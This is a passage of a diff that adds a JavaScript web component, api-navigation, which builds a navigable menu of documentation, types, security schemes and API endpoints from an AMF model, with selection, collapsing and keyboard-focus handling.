+export const traverseReferences = Symbol('traverseReferences');
+export const traverseEncodes = Symbol('traverseEncodes');
+export const rearrangeEndpoints = Symbol('rearrangeEndpoints');
+export const closeCollapses = Symbol('closeCollapses');
+export const appendSecurityItem = Symbol('appendSecurityItem');
+export const appendTypeItem = Symbol('appendTypeItem');
+export const validUrl = Symbol('validUrl');
+export const appendDocumentationItem = Symbol('appendDocumentationItem');
+export const appendEndpointItem = Symbol('appendEndpointItem');
+export const appendModelItem = Symbol('appendModelItem');
+export const createOperationModel = Symbol('createOperationModel');
+export const toggleSectionHandler = Symbol('toggleSectionHandler');
+export const toggleSection = Symbol('toggleSection');
+export const selectItem = Symbol('selectItem');
+export const addSelection = Symbol('addSelection');
+export const clearSelection = Symbol('clearSelection');
+export const cleanPassiveSelection = Symbol('cleanPassiveSelection');
+export const handlePassiveNavigation = Symbol('handlePassiveNavigation');
+export const selectMethodPassive = Symbol('selectMethodPassive');
+export const toggleEndpoint = Symbol('toggleEndpoint');
+export const toggleEndpointDocumentation = Symbol('toggleEndpointDocumentation');
+export const toggleEndpointButton = Symbol('toggleEndpointButton');
+export const computeEndpointPadding = Symbol('computeEndpointPadding');
+export const computeEndpointPaddingLeft = Symbol('computeEndpointPaddingLeft');
+export const computeMethodPadding = Symbol('computeMethodPadding');
+export const computeOperationPaddingLeft = Symbol('computeOperationPaddingLeft');
+export const getFilteredEndpoints = Symbol('getFilteredEndpoints');
+export const listActiveItems = Symbol('listActiveItems');
+export const listSectionActiveNodes = Symbol('listSectionActiveNodes');
+export const onUpKey = Symbol('onUpKey');
+export const onDownKey = Symbol('onDownKey');
+export const onEscKey = Symbol('onEscKey');
+export const onSpace = Symbol('onSpace');
+export const onShiftTabDown = Symbol('onShiftTabDown');
+
+/**
+ * Maps authorization scheme name to a label
+ * @param {string} name
+ * @return {string}
+ */
+function mapAuthName(name) {
+  switch (name) {
+    case 'http':
+      return 'HTTP';
+    case 'openIdConnect':
+      return 'OpenID Connect';
+    default:
+      return name;
+  }
+}
+
+/**
+ * Discretely updates tabindex values among menu items as the focused item
+ * changes.
+ *
+ * @param {HTMLElement} focusedItem The element that is currently focused.
+ * @param {HTMLElement=} old The last element that was considered focused, if
+ * applicable.
+ */
+function focusedItemChanged(focusedItem, old) {
+  if (old) {
+    old.setAttribute('tabindex', '-1');
+  }
+  if (focusedItem && !focusedItem.hasAttribute('disabled')) {
+    focusedItem.setAttribute('tabindex', '0');
+    focusedItem.focus();
+  }
+}
+
+/**
+ * Computes label for an endpoint when name is missing and the endpoint
+ * is indented, hence name should be truncated.
+ * @param {string} currentPath Endpoint's path
+ * @param {string[]} parts Path parts
+ * @param {number} indent Endpoint indentation
+ * @param {string[]} basePaths List of base paths already used.
+ * @return {string} Name of the path to render.
+ */
+export function computePathName(currentPath, parts, indent, basePaths) {
+  let path = '';
+  const latestBasePath = basePaths[basePaths.length - 1];
+  for (let i = 0, len = parts.length - 1; i < len; i++) {
+    path += `/${parts[i]}`;
+    if (!latestBasePath || latestBasePath.indexOf(`${path}/`) !== -1) {
+      indent--;
+    }
+    if (indent === 0) {
+      break;
+    }
+  }
+  return currentPath.replace(path, '');
+}
+
+/**
+ * Computes condition value to render path label.
+ * @param {boolean} allowPaths Component configuration property.
+ * @param {boolean} renderPath Endpoint property
+ * @return {boolean} True if both arguments are truly.
+ */
+export function computeRenderPath(allowPaths, renderPath) {
+  return !!(allowPaths && renderPath);
+}
+
+/**
+ * `api-navigation`
+ * A navigation for an API spec using AMF model.
+ *
+ * This element is to replace deprecated `raml-path-selector`.
+ * It is lightweight and much less complex in comparison.
+ *
+ * The element works with [AMF](https://github.com/mulesoft/amf)
+ * json/ld model. When the model is set it computes list of documentation
+ * nodes, types, endpoints, methods and security schemas.
+ * As a result user can select any of the items in the UI and the application
+ * is informed about user choice via custom event.
+ *
+ * The selection is a selected API shape `@id`. The application is responsible
+ * for computing the model selected by the user.
+ * 
+ * Note, this element does not contain polyfills for Array platform features.
+ * Use `arc-polyfills` to add support for IE and Safari 9.
+ *
+ * ## Passive navigation
+ *
+ * Passive navigation means that a navigation event occurred but it wasn't
+ * invoked by intentional user interaction. For example
+ * `api-endpoint-documentation` component renders list of documentations for
+ * HTTP methods. While scrolling through the list navigation context
+ * changes (user reads documentation of a method) but the navigation never
+ * was caused by user intentional interaction.
+ * This event, annotated with `passive: true` property in the detail object
+ * prohibits other element from taking a navigation action but some
+ * may reflect the change in the UI.
+ */
+export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
+  static get properties() {
+    return {
+      /**
+       * A model `@id` of selected documentation part.
+       * Special case is for `summary` view. It's not part of an API
+       * but most applications has some kins of summary view for the
+       * API.
+       */
+      domainId: { type: String, reflect: true },
+      /**
+       * Type of the domain item.
+       * One of `documentation`, `schema`, `security`, `resource`, `operation`
+       * or `summary`.
+       *
+       * This property is set after `domainId` property.
+       */
+      domainType: { type: String, reflect: true },
+      /**
+       * If set it renders `API summary` menu option.
+       * It will allow to set `domainId` and `domainType` to `summary`
+       * when this option is set.
+       */
+      summary: { type: Boolean, reflect: true },
+      /**
+       * A label for the `summary` section.
+       */
+      summaryLabel: { type: String, reflect: true },
+      /**
+       * Determines and changes state of documentation panel.
+       */
+      docsOpened: { type: Boolean, reflect: true },
+      
+      /**
+       * Determines and changes state of types panel.
+       */
+      typesOpened: { type: Boolean, reflect: true },
+      /**
+       * Determines and changes state of security panel.
+       */
+      securityOpened: { type: Boolean, reflect: true },
+      /**
+       * Determines and changes state of endpoints panel.
+       */
+      endpointsOpened: { type: Boolean, reflect: true },
+      /**
+       * If true, the element will not produce a ripple effect when interacted with via the pointer.
+       */
+      noink: { type: Boolean, reflect: true },
+      /**
+       * Filters list elements by this value when set.
+       * Clear the value to reset the search.
+       *
+       * This is not currently exposed in element's UI due
+       * to complexity of search and performance.
+       */
+      query: { type: String, reflect: true },
+      /**
+       * Size of endpoint indentation for nested resources.
+       * In pixels.
+       *
+       * The attribute name for this property is `indent-size`. Note, that this
+       * will change to web consistent name `indentSize` in the future.
+       */
+      indentSize: { type: Number, reflect: true },
+      /**
+       * When set it renders full path below endpoint name if the endpoint has
+       * a name (different than the path).
+       * This is not always recommended to use this option as some complex APIs
+       * may render this component difficult to understand.
+       */
+      allowPaths: { type: Boolean },
+      /**
+       * If this value is set, then the navigation component will sort the list
+       * of endpoints alphabetically based on the `path` value of the endpoint
+       */
+      rearrangeEndpoints: { type: Boolean },
+      /**
+       * Enables Anypoint platform styles.
+       */
+      anypoint: { type: Boolean },
+      /**
+       * Determines and changes state of endpoints.
+       */
+      operationsOpened: { type: Boolean, reflect: true },
+      /**
+       * No overview as a separated node. 
+       * Overview can be seen by clicking the endpoint label.
+       */
+      noOverview: { type: Boolean },
+      /**
+       * When set, avoids truncating and indentation of endpoint paths.
+       * Instead, the full path for each endpoint will be rendered.
+       */
+      renderFullPaths: { type: Boolean },
+    };
+  }
+
+  get styles() {
+    return [navStyles, HttpStyles.default];
+  }
+
+  /** @returns {string} */
+  get domainId() {
+    return this[domainIdValue];
+  }
+
+  /** @param {string} value */
+  set domainId(value) {
+    const old = this[domainIdValue];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[domainIdValue] = value;
+    this.requestUpdate('domainId', old);
+    this[selectedChanged](value);
+    this[selectionChanged](value, this.domainType);
+  }
+
+  /** @returns {SelectionType} */
+  get domainType() {
+    return this[domainTypeValue];
+  }
+
+  /** @param {SelectionType} value */
+  set domainType(value) {
+    const old = this[domainTypeValue];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[domainTypeValue] = value;
+    this.requestUpdate('domainType', old);
+    this[selectionChanged](this.domainId, value);
+  }
+
+  /** @param {boolean} value */
+  set operationsOpened(value) {
+    const old = this[operationsOpened];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[operationsOpened] = value;
+
+    if (value === undefined) {
+      return;
+    }
+
+    this[updatedOpenedOperations] = !value;
+    if (!value) {
+      this[openedOperationsValue] = /** @type string[] */ ([]);
+    } else {
+      this[addOpenedOperations](this[endpointsValue]);
+    }
+  }
+
+  /** @returns {boolean} */
+  get operationsOpened() {
+    return this[operationsOpened];
+  }
+
+  /**
+   * @return {boolean} true when `[docsValue]` property is set with values
+   */
+  get hasDocs() {
+    const items = this[docsValue];
+    return Array.isArray(items) && !!items.length;
+  }
+
+  /**
+   * @return {boolean} true when `[typesValue]` property is set with values
+   */
+  get hasTypes() {
+    const items = this[typesValue];
+    return Array.isArray(items) && !!items.length;
+  }
+
+  /**
+   * @return {boolean} true when `[securityValue]` property is set with values
+   */
+  get hasSecurity() {
+    const items = this[securityValue];
+    return Array.isArray(items) && !!items.length;
+  }
+
+  /**
+   * @return {boolean} true when `[endpointsValue]` property is set with values
+   */
+  get hasEndpoints() {
+    const items = this[endpointsValue];
+    return Array.isArray(items) && !!items.length;
+  }
+
+  /**
+   * @return {boolean} True when summary should be rendered.
+   * Summary should be rendered only when `summary` is set and
+   * current model is not a RAML fragment.
+   */
+  get summaryRendered() {
+    const { summary } = this;
+    return !!(summary && !this[isFragmentValue]);
+  }
+
+  get query() {
+    return this[queryValue2];
+  }
+
+  set query(value) {
+    const old = this[queryValue2];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[queryValue2] = value;
+    this.requestUpdate('query', old);
+    this[queryChanged]();
+  }
+
+  /**
+   * @return {HTMLElement=} A reference to currently selected node.
+   */
+  get selectedItem() {
+    return this[selectedItemValue];
+  }
+
+  /**
+   * @return {HTMLElement=} The currently focused item.
+   */
+  get focusedItem() {
+    return this[focusedItemPrivate];
+  }
+
+  get [focusedItemPrivate]() {
+    return this[focusedItemValue];
+  }
+
+  set [focusedItemPrivate](value) {
+    const old = this[focusedItemValue];
+    /* istanbul ignore if */
+    if (old === value) {
+      return;
+    }
+    this[focusedItemValue] = value;
+    focusedItemChanged(value, old);
+  }
+
+  /** @returns {boolean} */
+  get noOverview() {
+    return this[noOverviewValue];
+  }
+
+  /** @param {boolean} value */
+  set noOverview(value) {
+    const old = this[noOverviewValue];
+    if (old === value) {
+      return;
+    }
+    this[noOverviewValue] = value;
+    this.requestUpdate('noOverview', old);
+    this[itemsValue] = null;
+  }
+
+  /** @param {boolean} value */
+  set rearrangeEndpoints(value) {
+    const old = this[rearrangeEndpointsValue];
+    if (old === value) {
+      return;
+    }
+    this[rearrangeEndpointsValue] = value;
+    this.requestUpdate('rearrangeEndpoints', old);
+    this.__amfChanged(this.amf);
+  }
+
+  /** @returns {boolean} */
+  get rearrangeEndpoints() {
+    return this[rearrangeEndpointsValue];
+  }
+
+  /** @param {boolean} value */
+  set renderFullPaths(value) {
+    const old = this[renderFullPathsValue];
+    if (old === value) {
+      return;
+    }
+    this[renderFullPathsValue] = value;
+    this.requestUpdate('renderFullPaths', old);
+    this.__amfChanged(this.amf);
+  }
+
+  /** @returns {boolean} */
+  get renderFullPaths() {
+    return this[renderFullPathsValue];
+  }
+
+  constructor() {
+    super();
+
+    this.summaryLabel = 'Summary';
+    /**
+     * Flag set when passed AMF model is a RAML fragment.
+     * @type boolean
+     */
+    this[isFragmentValue] = false;
+    this.summary = false;
+    this.noink = false;
+    this.allowPaths = false;
+    this.anypoint = false;
+    this.rearrangeEndpoints = false;
+    this.indentSize = 8;
+    /**
+     * @type HTMLElement
+     */
+    this[selectedItemValue] = null;
+    /**
+     * List of opened operation ids
+     * @type {string[]}
+     */
+    this[openedOperationsValue] = [];
+    this[updatedOpenedOperations] = true;
+    this.noOverview = false;
+    this.renderFullPaths = false;
+    /** @type {string} */
+    this[queryValue] = undefined;
+    /**
+     * Computed list of documentation items in the API.
+     * @type {DocumentationItem[]}
+     */
+    this[docsValue] = undefined;
+    /**
+     * Computed list of "type" items in the API.
+     * @type {TypeItem[]}
+     */
+    this[typesValue] = undefined;
+    /**
+     * Computed list of Security schemes items in the API.
+     * @type {SecurityItem[]}
+     */
+    this[securityValue] = undefined;
+    /**
+     * Computed list of endpoint items in the API.
+     * @type {EndpointItem[]}
+     */
+    this[endpointsValue] = undefined;
+    /** @type {Element[]} */
+    this[itemsValue] = undefined;
+
+    this[navigationHandler] = this[navigationHandler].bind(this);
+    this[focusHandler] = this[focusHandler].bind(this);
+    this[keydownHandler] = this[keydownHandler].bind(this);
+  }
+
+  /**
+   * Ensures aria role attribute is in place.
+   * Attaches element's listeners.
+   */
+  connectedCallback() {
+    super.connectedCallback();
+    // @ts-ignore
+    if (window.ShadyCSS) {
+      // @ts-ignore
+      window.ShadyCSS.styleElement(this);
+    }
+    // Pawel: This role requires children to be present in the DOM, but in this case none is rendered
+    // in the light DOM but rather in the shadow DOM. Therefore the element cannot have this role.
+    // if (!this.getAttribute('role')) {
+    //   this.setAttribute('role', 'menubar');
+    // }
+    if (!this.getAttribute('aria-label')) {
+      this.setAttribute('aria-label', 'API structure');
+    }
+    if (!this.getAttribute('tabindex')) {
+      this.setAttribute('tabindex', '0');
+    }
+    window.addEventListener(EventTypes.Navigation.apiNavigate, this[navigationHandler]);
+    this.addEventListener('focus', this[focusHandler]);
+    this.addEventListener('keydown', this[keydownHandler]);
+
+    this[resetTabindices]();
+  }
+
+  disconnectedCallback() {
+    super.disconnectedCallback();
+    window.removeEventListener(EventTypes.Navigation.apiNavigate, this[navigationHandler]);
+    this.removeEventListener('focus', this[focusHandler]);
+    this.removeEventListener('keydown', this[keydownHandler]);
+    this[itemsValue] = null;
+  }
+
+  /**
+   * @param {EndpointItem[]} endpoints 
+   */
+  [addOpenedOperations](endpoints) {
+    if (!this[updatedOpenedOperations] && endpoints) {
+      this[openedOperationsValue] = endpoints.map(e => e.id);
+      this[updatedOpenedOperations] = true;
+    }
+  }
+
+  /**
+   * Overrides `AmfHelperMixin.__amfChanged()`
+   * @param {AmfDocument} api AMF model
+   * @override
+   */
+  __amfChanged(api) {
+    if (!api) {
+      return;
+    }
+    let model = api;
+    if (Array.isArray(model)) {
+      [model] = model;
+    }
+    let data = {};
+    let isFragment = true;
+    this[itemsValue] = null;
+
+    const { vocabularies } = this.ns.aml;
+    const moduleKey = this._getAmfKey(vocabularies.document.Module);
+    if (this._hasType(model, vocabularies.document.Document)) {
+      isFragment = false;
+      model = this._ensureAmfModel(model);
+      data = this[collectData](model);
+    } else if (this._hasType(model, vocabularies.security.SecuritySchemeFragment) ) {
+      data = this[collectSecurityData](model);
+      this.securityOpened = true;
+    } else if (this._hasType(model, vocabularies.apiContract.UserDocumentationFragment)) {
+      data = this[collectDocumentationData](model);
+      this.docsOpened = true;
+    } else if (this._hasType(model, vocabularies.shapes.DataTypeFragment)) {
+      data = this[collectTypeData](model);
+      this.typesOpened = true;
+    } else if (model['@type'] && moduleKey === model['@type'][0]) {
+      data = this[collectData](model);
+    }
+    if (this[isFragmentValue] !== isFragment) {
+      this[isFragmentValue] = isFragment;
+    }
+    this[docsValue] = data.documentation;
+    this[typesValue] = data.types;
+    this[securityValue] = data.securitySchemes;
+    this[endpointsValue] = data.endpoints;
+    this.requestUpdate();
+    this[closeCollapses]();
+    setTimeout(() => {
+      this[selectedChanged](this.domainId);
+      this[resetTabindices]();
+      this[addOpenedOperations](data.endpoints)
+    });
+  }
+
+  /**
+   * Collects the information about the API and creates data model
+   * for the navigation element
+   *
+   * @param {AmfDocument} model
+   * @return {TargetModel} Data model for the API navigation
+   */
+  [collectData](model) {
+    const result = {
+      documentation: [],
+      types: [],
+      securitySchemes: [],
+      endpoints: [],
+    };
+    if (!model) {
+      return result;
+    }
+    result._typeIds = [];
+    result._basePaths = [];
+    this[traverseDeclarations](model, result);
+    this[traverseReferences](model, result);
+    this[traverseEncodes](model, result);
+    delete result._typeIds;
+    delete result._basePaths;
+    return result;
+  }
+
+  /**
+   * Collects the data from the security fragment
+   * @param {AmfDocument} model Security fragment model
+   * @return {TargetModel|undefined}
+   */
+  [collectSecurityData](model) {
+    const result = {
+      securitySchemes: [],
+    };
+    const encodes = this._computeEncodes(model);
+    if (!encodes) {
+      return undefined;
+    }
+    this[appendSecurityItem](encodes, result);
+    return result;
+  }
+
+  /**
+   * Collects the data from the documentation fragment
+   * @param {AmfDocument} model Documentation fragment model
+   * @return {TargetModel|undefined}
+   */
+  [collectDocumentationData](model) {
+    const result = {
+      documentation: [],
+    };
+    const encodes = this._computeEncodes(model);
+    if (!encodes) {
+      return undefined;
+    }
+    this[appendDocumentationItem](encodes, result);
+    return result;
+  }
+
+  /**
+   * Collects the data from the type fragment
+   * @param {AmfDocument} model Type fragment model
+   * @return {TargetModel|undefined}
+   */
+  [collectTypeData](model) {
+    const result = {
+      types: [],
+      _typeIds: [],
+    };
+    const encodes = this._computeEncodes(model);
+    if (!encodes) {
+      return undefined;
+    }
+    this[appendTypeItem](encodes, result);
+    delete result._typeIds;
+    return result;
+  }
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#declares`
+   * node to find types and security schemes.
+   *
+   * @param {object} model AMF model
+   * @param {TargetModel} target Target object where to put data.
+   */
+  [traverseDeclarations](model, target) {
+    const declares = this._computeDeclares(model);
+    if (!declares) {
+      return;
+    }
+    declares.forEach(item => this[appendModelItem](item, target));
+  }
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#references`
+   *
+   * @param {object} model AMF model
+   * @param {TargetModel} target Target object where to put data.
+   */
+  [traverseReferences](model, target) {
+    const refs = this._computeReferences(model);
+    if (!refs) {
+      return;
+    }
+    refs.forEach((item) => {
+      if (!this._hasType(item, this.ns.aml.vocabularies.document.Module)) {
+        return;
+      }
+      this[traverseDeclarations](item, target);
+    });
+  }
+
+  /**
+   * Traverses the `http://raml.org/vocabularies/document#encodes`
+   * node to find documentation and endpoints.
+   *
+   * @param {object} model AMF model
+   * @param {TargetModel} target Target object where to put data.
+   */
+  [traverseEncodes](model, target) {
+    const data = this._computeApi(model);
+    if (!data) {
+      return;
+    }
+    const eKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint);
+    let endpoint = /** @type EndPoint[] */ (this._ensureArray(data[eKey]));
+    if (this.rearrangeEndpoints) {
+      endpoint = this[rearrangeEndpoints](endpoint);
+    }
+    if (endpoint) {
+      endpoint.forEach(item => this[appendModelItem](item, target));
+    }
+    const dKey = this._getAmfKey(this.ns.aml.vocabularies.core.documentation);
+    const documentation = this._ensureArray(data[dKey]);
+    if (documentation) {
+      documentation.forEach(item => this[appendModelItem](item, target));
+    }
+  }
+
+  /**
+   * Sort endpoints alphabetically based on path
+   * @param {EndPoint[]} endpoints
+   * @return {EndPoint[]}
+   */
+  [rearrangeEndpoints](endpoints) {
+    if (!endpoints) {
+      return null;
+    }
+    const pathKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.path);
+    return [...endpoints].sort((a,b) => {
+      const pathA = this._getValue(a, pathKey);
+      const pathB = this._getValue(b, pathKey);
+
+      if (pathA < pathB){
+        return -1;
+      }
+
+      if (pathA > pathB){
+        return 1;
+      }
+
+      return 0;
+    });
+  }
+
+  /**
+   * Appends declaration of navigation data model to the target if
+   * it matches documentation or security types.
+   *
+   * @param {Object} item AMF model item to check for data.
+   * @param {TargetModel} target The target to which append values.
+   */
+  [appendModelItem](item, target) {
+    if (this._hasType(item, this.ns.w3.shacl.Shape)) {
+      this[appendTypeItem](item, target);
+    } else if (
+      this._hasType(item, this.ns.aml.vocabularies.security.SecurityScheme)
+    ) {
+      this[appendSecurityItem](item, target);
+    } else if (
+      this._hasType(item, this.ns.aml.vocabularies.core.CreativeWork)
+    ) {
+      this[appendDocumentationItem](item, target);
+    } else if (
+      this._hasType(item, this.ns.aml.vocabularies.apiContract.EndPoint)
+    ) {
+      this[appendEndpointItem](item, target);
+    }
+  }
+
+  /**
+   * Appends "type" item to the results.
+   *
+   * @param {Object} item Type item declaration
+   * @param {TargetModel} target
+   */
+  [appendTypeItem](item, target) {
+    const w3name = /** @type string */ (this._getValue(item, this.ns.w3.shacl.name));
+    if (w3name && w3name.indexOf('amf_inline_type') === 0) {
+      // https://www.mulesoft.org/jira/browse/APIMF-972
+      return;
+    }
+    let name = /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.core.name));
+    if (!name && w3name) {
+      name = w3name;
+    } else if (!name) {
+      return;
+    }
+    const id = item['@id'];
+    if (!id) {
+      return;
+    }
+    const rfIdKey = this._getAmfKey(this.ns.aml.vocabularies.document.referenceId);
+    const compareId = item['@id'];
+    const refNode = this._ensureArray(item[rfIdKey]);
+    const refId = refNode ? refNode[0]['@id'] : undefined;
+    const idIndex = target._typeIds.indexOf(compareId);
+    const refIndex = refId ? target._typeIds.indexOf(refId) : -1;
+    if (idIndex === -1 && refIndex === -1) {
+      target._typeIds[target._typeIds.length] = id;
+      if (refId) {
+        target._typeIds[target._typeIds.length] = refId;
+      }
+      target.types.push({
+        label: name,
+        id,
+      });
+    }
+  }
+
+  /**
+   * Appends "security" item to the results.
+   *
+   * @param {Object} item Type item declaration
+   * @param {TargetModel} target
+   */
+  [appendSecurityItem](item, target) {
+    const voc = this.ns.aml.vocabularies;
+    let name = this._getValue(item, voc.core.displayName);
+    const secType = /** @type string */ (this._getValue(item, voc.security.type));
+    if (!secType) {
+      // this is a case when the security scheme is referenced from a library.
+      // This creates an entry in the graph model but there is no actual definition of the 
+      // security.
+      // The definition will be discovered when scanning references.
+      return;
+    }
+    if (!name) {
+      name = this._getValue(item, voc.security.name);
+    }
+    if (!name) {
+      name = this._getValue(item, voc.core.name);
+    }
+    name = `${name || ''} - ${mapAuthName(secType)}`
+    const id = item['@id'];
+    target.securitySchemes.push({
+      label: String(name),
+      id,
+    });
+  }
+
+  /**
+   * @param {string} url 
+   * @returns {string}
+   */
+  [validUrl](url) {
+    return url.startsWith('http://') || url.startsWith('https://')
+      ? url
+      : 'about:blank';
+  }
+
+  /**
+   * Appends "documentation" item to the results.
+   *
+   * @param {Object} item Type item declaration
+   * @param {TargetModel} target
+   */
+  [appendDocumentationItem](item, target) {
+    const { core } = this.ns.aml.vocabularies;
+    const id = item['@id'];
+    const urlNode = item[this._getAmfKey(core.url)];
+    const title = this._getValue(item, core.title);
+    const description = this._getValue(item, core.description);
+    const label = title ? String(title) : String(description);
+    let isExternal = false;
+    let url = urlNode ? (urlNode[0] || urlNode)['@id'] : undefined;
+    if (url) {
+      url = this[validUrl](url);
+      isExternal = true;
+    }
+    const result = {
+      id,
+      label,
+      isExternal,
+      url,
+    };
+    target.documentation.push(result);
+  }
+
+  /**
+   * Appends "endpoint" item to the results.
+   * This also iterates over methods to extract method data.
+   *
+   * @param {any} item Endpoint item declaration
+   * @param {TargetModel} target
+   */
+  [appendEndpointItem](item, target) {
+    const result = {};
+    const { vocabularies } = this.ns.aml;
+    let name = this._getValue(item, vocabularies.core.name);
+    const path = /** @type string */ (this._getValue(item, vocabularies.apiContract.path));
+    result.path = path;
+
+    let tmpPath = path;
+    if (tmpPath[0] === '/') {
+      tmpPath = tmpPath.substr(1);
+    }
+    const parts = tmpPath.split('/');
+    let indent = 0;
+    target._basePaths[target._basePaths.length] = path;
+    if (parts.length > 1 && !this.renderFullPaths) {
+      const lowerParts = parts.slice(0, parts.length - 1);
+      if (lowerParts.length) {
+        for (let i = lowerParts.length - 1; i >= 0; i--) {
+          const currentPath = `/${lowerParts.slice(0, i + 1).join('/')}`;
+          const previousBasePathItem =
+            target._basePaths[target._basePaths.length - 2];
+          if (
+            previousBasePathItem &&
+            (previousBasePathItem === currentPath ||
+              previousBasePathItem.startsWith(`${currentPath}/`))
+          ) {
+            indent++;
+          }
+        }
+      }
+    }
+    if (!name) {
+      result.renderPath = false;
+      if (indent > 0) {
+        try {
+          name = computePathName(path, parts, indent, target._basePaths);
+        } catch (_) {
+          name = path;
+        }
+      } else {
+        name = path;
+      }
+    } else {
+      result.renderPath = true;
+    }
+    const id = item['@id'];
+    const key = this._getAmfKey(vocabularies.apiContract.supportedOperation);
+    const operations = this._ensureArray(item[key]) || [];
+    const methods = operations.map(op => this[createOperationModel](op));
+    result.label = String(name);
+    result.id = id;
+    result.indent = indent;
+    result.methods = methods;
+    target.endpoints.push(result);
+  }
+
+  /**
+   * Creates the view model for an optation.
+   *
+   * @param {any} item Operation AMF model
+   * @return {MethodItem} Method view model
+   */
+  [createOperationModel](item) {
+    const label = /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.core.name));
+    const methodKey = this.ns.aml.vocabularies.apiContract.method;
+    const id = item['@id'];
+    const method = /** @type string */ (this._getValue(item, methodKey));
+    return {
+      label,
+      id,
+      method,
+    };
+  }
+
+  /**
+   * Click handler for section name item.
+   * Toggles the view.
+   *
+   * @param {MouseEvent} e
+   */
+  [toggleSectionHandler](e) {
+    // @ts-ignore: this is for polyfills
+    const path = e.composedPath();
+    /** @type HTMLElement */
+    let node;
+    const test = true;
+    while (test) {
+      node = /** @type HTMLElement */ (path.shift());
+      if (!node) {
+        return;
+      }
+      if (node.dataset && node.dataset.section) {
+        break;
+      }
+    }
+    this[toggleSection](node);
+  }
+
+  /**
+   * @param {HTMLElement} node 
+   */
+  [toggleSection](node) {
+    const { section } = node.dataset;
+    const openedKey = `${section}Opened`;
+    this[openedKey] = !this[openedKey];
+  }
+
+  /**
+   * Selects new item in the menu.
+   *
+   * @param {HTMLElement} node
+   */
+  [selectItem](node) {
+    const id = node.dataset.apiId;
+    const { shape } = node.dataset;
+    this.domainType = undefined; // cancels event firing
+    this.domainId = id;
+    this.domainType = /** @type SelectionType */ (shape); // now fire event
+    this[selectedItemValue] = node;
+    this[focusedItemPrivate] = node;
+  }
+
+  /**
+   * Toggles selection state of a node that has `data-api-id` set to
+   * `id`.
+   *
+   * @param {string} id Selected node id.
+   * @return {string|undefined} Type of selected node.
+   */
+  [addSelection](id) {
+    if (!this.shadowRoot) {
+      return undefined;
+    }
+    let node = /** @type HTMLElement */ (this.shadowRoot.querySelector(`[data-api-id="${id}"]`));
+    if (!node) {
+      return undefined;
+    }
+    if (node.localName === 'anypoint-collapse') {
+      node = this.shadowRoot.querySelector(`.operation[data-api-id="${id}"]`);
+    } else if (node.className === 'endpoint-name-overview' && this.noOverview) {
+      node = this.shadowRoot.querySelector(`.endpoint[data-endpoint-id="${id}"]`);
+    }
+    if (!node) {
+      return undefined;
+    }
+    node.classList.add('selected');
+    if (node.part && node.part.add) {
+      node.part.add('api-navigation-list-item-selected');
+    }
+    let collapse;
+    switch (node.dataset.shape) {
+      case 'operation':
+        collapse = /** @type AnypointCollapseElement */ (node.parentElement);
+        this.endpointsOpened = true;
+        break;
+      case 'endpoint':
+        collapse = /** @type AnypointCollapseElement */ (node.parentElement);
+        break;
+      case 'type':
+      case 'documentation':
+      case 'security':
+        collapse = /** @type AnypointCollapseElement */ (node.parentElement
+          .parentElement);
+        break;
+      default:
+        collapse = undefined;
+    }
+    if (node.dataset.shape === 'operation' || node.dataset.shape === 'endpoint') {
+      if (!this[openedOperationsValue].includes(id)) {
+        this.toggleOperations(id)
+      }
+      if (collapse && !this[openedOperationsValue].includes(collapse.dataset.apiId)) {
+        this.toggleOperations(collapse.dataset.apiId);
+      }
+    } else if (collapse && !collapse.opened) {
+      collapse.opened = true;
+    }
+    return node.dataset.shape;
+  }
+
+  /**
+   * Removes any current selection that may exist.
+   */
+  [clearSelection]() {
+    if (!this.shadowRoot) {
+      return;
+    }
+    const nodes = this.shadowRoot.querySelectorAll('.selected');
+    for (let i = 0, len = nodes.length; i < len; i++) {
+      const node = nodes[i];
+      node.classList.remove('selected');
+      // @ts-ignore
+      if (node.part && node.part.remove) {
+        // @ts-ignore
+        node.part.remove('api-navigation-list-item-selected');
+      }
+    }
+  }
+
+  /**
+   * Toggles endpoint operations list.
+   *
+   * @param {string} id ID of the endpoint.
+   */
+  toggleOperations(id) {
+    const operationIndex = this[openedOperationsValue].indexOf(id);
+    if (operationIndex !== -1) {
+      this[openedOperationsValue].splice(operationIndex, 1)
+    } else {
+      this[openedOperationsValue].push(id)
+    }
+    this.requestUpdate();
+  }
+
+  /**
+   * Updates the state of selected element when `selected` changes.
+   *
+   * @param {string} current New selection
+   */
+  [selectedChanged](current) {
+    this[clearSelection]();
+    this[cleanPassiveSelection]();
+    if (current) {
+      this[addSelection](current);
+    }
+  }
+
+  /**
+   * When `query` property change it runs the filter function
+   * in a debouncer set for ~50 ms.
+   */
+  [queryChanged]() {
+    if (this[queryDebouncer]) {
+      return;
+    }
+    this[queryDebouncer] = true;
+    setTimeout(() => {
+      this[flushQuery]();
+      this[queryDebouncer] = false;
+    });
+  }
+
+  /**
+   * Calls `render()` function on each data repeater that have filterable
+   * items.
+   * It set's `[queryValue]` property on the element that is beyond
+   * Polymer's data binding system so it skips 2 function calls each time
+   * it is read. In a repeater filter function that can be a lot.
+   *
+   * Also the `[queryValue]` is transformed to perform text search.
+   */
+  [flushQuery]() {
+    let q = this.query;
+    if (q) {
+      q = q.toLowerCase();
+    }
+    this[queryValue] = q;
+    this.requestUpdate();
+  }
+
+  /**
+   * Dispatches the navigation event when selection change.
+   *
+   * @param {string} domainId Selected id
+   * @param {SelectionType} domainType Type of AMF shape
+   */
+  [selectionChanged](domainId, domainType) {
+    if (!domainType || this.__cancelNavigationEvent) {
+      return;
+    }
+    let endpointId;
+    if (domainType === 'operation' && domainId) {
+      const node = /** @type HTMLElement */ (this.shadowRoot.querySelector(`.operation[data-api-id="${domainId}"]`));
+      if (node) {
+        endpointId = node.dataset.parentId;
+      }
+    }
+    NavigationEvents.apiNavigate(this, domainId, domainType, endpointId);
+  }
+
+  /**
+   * Navigation item click handler.
+   * It used to be common function for all clicks inside the element
+   * but in tests not all events were handled.
+   *
+   * @param {MouseEvent} e
+   */
+  [itemClickHandler](e) {
+    const eTarget = /** @type HTMLElement */ (e.target);
+    let target;
+    if (e.currentTarget) {
